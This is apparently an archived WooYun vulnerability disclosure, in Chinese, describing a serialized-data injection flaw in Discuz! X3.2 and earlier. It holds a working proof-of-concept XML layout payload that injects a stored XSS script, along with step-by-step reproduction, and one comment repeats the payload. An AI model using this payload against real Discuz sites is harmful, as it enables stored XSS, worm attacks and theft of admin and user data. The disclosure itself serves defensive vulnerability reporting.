当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075963

漏洞标题:Discuz!的addcslashes对序列化字符串处理不当造成数据注入

相关厂商:Discuz!

漏洞作者: 刀尖上起舞

提交时间:2014-09-13 19:57

修复时间:2014-12-12 19:58

公开时间:2014-12-12 19:58

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-13: 细节已通知厂商并且等待厂商处理中
2014-09-15: 厂商已经确认,细节仅向厂商公开
2014-09-18: 细节向第三方安全合作伙伴开放
2014-11-09: 细节向核心白帽子及相关领域专家公开
2014-11-19: 细节向普通白帽子公开
2014-11-29: 细节向实习白帽子公开
2014-12-12: 细节向公众公开

简要描述:

首先声明一点,这个漏洞2014-09-10在“腾讯安全应急响应中心”发过,账号现已放弃,对于腾讯不想多说什么
问题描述:
Discuz_X3.2及以下
可盗取管理员、用户信息,蠕虫攻击等

详细说明:

source\class\discuz\discuz_database.php

public static function quote($str, $noarray = false) {
if (is_string($str))
return '\'' . addcslashes($str, "\n\r\\'\"\032") . '\'';
.....

source\function\function_core.php
function dunserialize($data) {
if(($ret = unserialize($data)) === false) {
$ret = unserialize(stripslashes($data));
}
return $ret;
}
“return '\'' . addcslashes($str, "\n\r\\'\"\032") . '\'';”这句会把ascii的1A转换成3个字符,分别是ascii的0H,33H,32H。
通过提交1A可以让dunserialize()函数if返回false调用“$ret = unserialize(stripslashes($data));”,
这句会将数据再次addcslashes一次,如果提交的数据中有\就会产生数据的覆盖,
比如'a:2{s:4:"key1";s:4:"\\\\";s:4:"key2";s:4:"data";}'会变成'a:2{s:4:"key1";s:4:"\\";s:4:"key2";s:4:"data";}'。
如果这两个数据都是可提交的,就可以通过提交适当的\造成注入而改写数组的值、增加数组、实例化对象等。

漏洞证明:

下面个人空间的XSS
通过布局数组改写$blockdata['parameters'][$blockname]['title']参数的值绕过过滤


<?xml version="1.0" encoding="ISO-8859-1"?><root>
<item id="diypage">
<item id="frame`frame1">
<item id="attr">
<item id="name"><![CDATA[frame1]]></item>
<item id="moveable"><![CDATA[false]]></item>
<item id="className"><![CDATA[frame cl]]></item>
<item id="titles"></item></item>
<item id="column`frame1_left">
<item id="attr">
<item id="name"><![CDATA[frame1_left]]></item>
<item id="className"><![CDATA[z column]]></item></item>
<item id="block`profile">
<item id="attr">
<item id="name"><![CDATA[profile]]></item>
<item id="className"><![CDATA[block move-span]]></item>
<item id="titles">
<item id="0">
<item id="text"><![CDATA[\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\]]></item>
<item id="href"><![CDATA[";s:4:"href";s:0:"";s:5:"color";s:11:" !
important";s:5:"float";s:0:"";s:6:"margin";s:0:"";s:9:"font-
size";s:0:"";s:9:"className";s:0:"";s:3:"src";s:0:"";}s:9:"className";a:1:{i:0;s:16:"blocktitle title";}
s:5:"style";s:0:"";}}}s:11:"block`album";a:1:{s:4:"attr";a:3:{s:4:"name";s:5:"album";s:9:"className";s:15:"block
move-span";s:6:"titles";a:3:{i:0;a:8:{s:4:"text";s:4:"相册";s:4:"href";s:0:"";s:5:"color";s:11:" !
important";s:5:"float";s:0:"";s:6:"margin";s:0:"";s:9:"font-
size";s:0:"";s:9:"className";s:0:"";s:3:"src";s:0:"";}s:9:"className";a:1:{i:0;s:16:"blocktitle title";}
s:5:"style";s:0:"";}}}}s:20:"column`frame1_center";a:1:{s:4:"attr";a:2:
{s:4:"name";s:13:"frame1_center";s:9:"className";s:8:"z column";}}s:19:"column`frame1_right";a:1:{s:4:"attr";a:2:
{s:4:"name";s:12:"frame1_right";s:9:"className";s:8:"z column";}}}}
s:13:"currentlayout";s:5:"1:2:1";s:10:"parameters";a:2:{s:7:"profile";a:2:{s:5:"title";s:30:"<script>alert
("xss");</script>";s:9:"banavatar";s:6:"middle";}s:5:"album";a:2:{s:5:"title";s:4:"相册";s:7:"shownum";i:8;}}}]]
></item>
<item id="color"><![CDATA[ !important]]></item>
<item id="float"><![CDATA[]]></item>
<item id="margin"><![CDATA[]]></item>
<item id="font-size"><![CDATA[]]></item>
<item id="className"><![CDATA[]]></item>
<item id="src"><![CDATA[]]></item></item>
<item id="className">
<item id="0"><![CDATA[blocktitle title]]></item></item>
<item id="style"></item></item></item></item>
<item id="block`album">
<item id="attr">
<item id="name"><![CDATA[album]]></item>
<item id="className"><![CDATA[block move-span]]></item>
<item id="titles">
<item id="0">
<item id="text"><![CDATA[相册]]></item>
<item id="href"><![CDATA[http://]]></item>
<item id="color"><![CDATA[ !important]]></item>
<item id="float"><![CDATA[]]></item>
<item id="margin"><![CDATA[]]></item>
<item id="font-size"><![CDATA[]]></item>
<item id="className"><![CDATA[]]></item>
<item id="src"><![CDATA[]]></item></item>
<item id="className">
<item id="0"><![CDATA[blocktitle title]]></item></item>
<item id="style"></item></item></item></item></item>
<item id="column`frame1_center">
<item id="attr">
<item id="name"><![CDATA[frame1_center]]></item>
<item id="className"><![CDATA[z column]]></item></item></item>
<item id="column`frame1_right">
<item id="attr">
<item id="name"><![CDATA[frame1_right]]></item>
<item id="className"><![CDATA[z column]]></item></item></item></item></item></root>
home.php?mod=spacecp&ac=index
1. urlencode编码xml布局修改layoutdata,post提交
2. 空间首页,装扮空间,编辑相册,模块名称,ascii“1A5c5c5c”(引号中的)确定
3. 再次编辑,确定(不用修改)
最后保存空间

图片1.jpg


图片2.jpg


图片3.jpg


图片4.jpg


修复方案:

处理return '\'' . addcslashes($str, "\n\r\\'\"\032") . '\'';语句的\032

版权声明:转载请注明来源 刀尖上起舞@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-09-15 10:37

厂商回复:

路人甲是老朋友了,曾提出很多产品问题,这里再次感谢,我们会尽快处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-13 20:58 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    前排围观

  2. 2014-09-13 20:59 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    dz最近好伤

  3. 2014-09-13 21:55 | bey0nd ( 普通白帽子 | Rank:895 漏洞数:142 | 相忘于江湖,不如相濡以沫)

    dz爆

  4. 2014-09-13 23:46 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    发过就坐等忽略...

  5. 2014-09-14 11:16 | 默秒全 ( 路人 | Rank:2 漏洞数:3 | a....)

    dz还能不能用了(╯‵□′)╯︵┻━┻

  6. 2014-09-14 11:23 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    直接公开吧!@疯狗

  7. 2014-09-14 12:23 | 小森森 ( 路人 | Rank:11 漏洞数:2 | 不中二 枉少年)

    可怕……感觉不敢用了……dz代码里好像各种addslashes

  8. 2014-09-15 10:41 | Hmily ( 路人 | 还没有发布任何漏洞 | 吾爱破解论坛)

    @Discuz!尽快处理你妹妹,三个月前的漏洞都公开了你补丁还没发,整天在这确认你妹妹!!!

  9. 2014-09-15 11:50 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @Hmily 克制

  10. 2014-09-15 12:01 | 刀尖上起舞 ( 路人 | Rank:20 漏洞数:1 )

    修正一下错误,“这句会将数据再次addcslashes一次”,是这样“这句会将数据再次stripslashes一次”

  11. 2014-10-05 22:49 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    为毛没成功。。。

  12. 2014-10-10 13:43 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    [CDATA[";s:4:"href";s:0:"";s:5:"color";s:11:" !important";s:5:"float";s:0:"";s:6:"margin";s:0:"";s:9:"font-size";s:0:"";s:9:"className";s:0:"";s:3:"src";s:0:"";}s:9:"className";a:1:{i:0;s:16:"blocktitle title";}s:5:"style";s:0:"";}}}s:11:"block`album";a:1:{s:4:"attr";a:3:{s:4:"name";s:5:"album";s:9:"className";s:15:"blockmove-span";s:6:"titles";a:3:{i:0;a:8:{s:4:"text";s:4:"相册";s:4:"href";s:0:"";s:5:"color";s:11:" !important";s:5:"float";s:0:"";s:6:"margin";s:0:"";s:9:"font-size";s:0:"";s:9:"className";s:0:"";s:3:"src";s:0:"";}s:9:"className";a:1:{i:0;s:16:"blocktitle title";}s:5:"style";s:0:"";}}}}s:20:"column`frame1_center";a:1:{s:4:"attr";a:2:{s:4:"name";s:13:"frame1_center";s:9:"className";s:8:"z column";}}s:19:"column`frame1_right";a:1:{s:4:"attr";a:2:{s:4:"name";s:12:"frame1_right";s:9:"className";s:8:"z column";}}}}s:13:"currentlayout";s:5:"1:2:1";s:10:"parameters";a:2:{s:7:"profile";a:2:{s:5:"title";s:30:"<script>alert("xss");</script>";s:9:"banavatar";s:6:"middle";}s:5:"album";a:2:{s:5:"title";s:4:"相册";s:7:"shownum";i:8;}}}]]好像这个都是一个url带过了

  13. 2014-10-10 14:52 | 刀尖上起舞 ( 路人 | Rank:20 漏洞数:1 )

    @mango 你想表达什么?我想说明的是serialize序列化后的字符串是可以伪造的,unserialize的时候并不会验证整个字符串。而Discuz! 的dunserialize这个函数恰恰可以产生两种语义,一个数据库字符截断就可以重写数据结构。这个问题可以说很简单,对于Discuz!会比较麻烦,x版本用了太多的dunserialize,而这个函数根本就是错误的!

  14. 2014-12-12 23:20 | 多情公子 ( 路人 | Rank:0 漏洞数:2 | google)

    好屌...